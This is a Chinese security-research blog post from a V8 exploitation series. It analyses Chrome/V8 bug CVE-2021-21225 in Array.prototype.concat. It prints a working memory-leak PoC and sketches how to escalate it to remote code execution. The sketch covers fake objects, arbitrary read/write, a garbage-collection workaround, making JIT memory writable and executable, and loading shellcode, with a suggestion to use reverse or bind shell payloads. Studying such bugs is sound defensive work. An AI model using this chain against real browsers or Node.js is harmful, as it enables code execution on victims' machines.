作者:Hcamael@知道创宇404实验室 相关阅读: 从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三) 从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四) 从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五) 从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六) 从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七) 从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)
第七个研究的是CVE-2021-21225 ,其chrome的bug编号为:1195977 受影响的Chrome最高版本为:90.0.4430.72 受影响的V8最高版本为:9.0.257.17 在chrome的bugs中也有该漏洞的exp和poc。本次分析的漏洞,和之前研究过的有很大的不同,PoC如下:
class Leaky extends Float64Array {}
let u32 = new Leaky (1000); u32.__defineSetter__('length', function() {});
class MyArray extends Array { static get [Symbol.species]() { return function() { return u32; } }; }
var w = new MyArray(300); w.fill(1.1); delete w[1]; Array.prototype[1] = { valueOf: function() { w.length = 1; gc(); delete Array.prototype[1]; return 1.1; } };
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) { print(c[i]); } 其中gc 函数需要运行d8的时候加上--expose-gc 参数,才能调用。该PoC的效果很明显,是内存泄漏,在变量w后再定义其他变量,比如var c = [1.1,2.2] ,那么可以把变量c的信息给泄漏出来。- https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
- https://tiszka.com/blog/CVE_2021_21225_exploit.html
漏洞出现在concat 函数上,而且也不是新类型的漏洞,concat 函数之前的漏洞编号为:CVE-2016-1646 和CVE-2017-5030 ,详细的可以去看上面的第一篇文章。这里就说说我编写exp的过程,现有的exp已经可以泄漏变量信息了,但是还不够,要想rce,还得需要能控制变量的map,上面PoC的效果只是把变量w当成长度为1000的数组,然后赋值给变量c,在正常的程序中,变量w的长度已经被我们改成1了,所以根本没法修改后续值,只有concat函数认为变量w的长度为1000。而修改变量c的值,也根本影响不到其他变量,因为变量c本身就是长度为1000的合法变量。1. 在上述的PoC中,数组w的所有元素都被1.1填充了,所以w的map为PACKED_DOUBLE_ELEMENTS 类型。2. 如果我们把变量w的map改为HOLEY_ELEMENTS 类型,那么concat 函数在操作的时候,会把w的元素都当成Object处理。3. 这样,我们在变量w后面再定义一个变量: padding_obj = new Uint32Array(10); ,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。4. 有了fake_obj以后,就能任意读写了,就可以按照套路来写exp了。但是直接这么写,可能会遇到一些问题,程序会crash,因为在漏洞触发后,会把后续的变量都当成对象,如果遇到一个不合法的对象,就报错了。在上面第二篇paper中,提供了一种方法,在触发漏洞的函数中,修改了Object的原型链:Object.prototype.valueOf = function() { corrupted_array = this; delete Object.prototype.valueOf; // clean up this valueOf throw 'bailout'; } 成功触发了以后,获取到我们构造的fake_obj,然后抛出异常,然后再捕获到该异常,这样程序就不会崩溃了。上面poc中的gc函数需要加上--expose-gc 参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:function gc() { new ArrayBuffer(0x7fe00000); } 在之前的文章中,我们都是采用WASM的方式获取一个RWX内存区域,但是在上面的第二篇文章中,给了另一种方案。 如果heap->write_protect_code_memory 为0,那么JIT优化的代码会生成RWX内存区域来存放。function jit(a) { return a[0]; }
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) { jit([0]); } shellcode = [xxxx] copy_shellcode_rwx(shellcode, jit_turbo_code_addr) jit([0]) 其中write_protect_code_memory_ 地址一般在堆的开头,可以通过gdb来搜索该地址。jit_turbo_code_addr 地址的偏移也可以通过gdb调试来获取。经过研究,该漏洞能影响到NodeJS 16.0.0。1. nodejs没开启地址压缩。
2. 使用%DebugPrint或者%System会影响内存布局,影响利用。
3. 最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。 https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
往 期 热 门 (点击图片跳转)
上一篇:2022年,为什么更多产品经理愿意在创业公司“学做事”? 下一篇:微信游戏「2022摇心愿」是如何设计的? |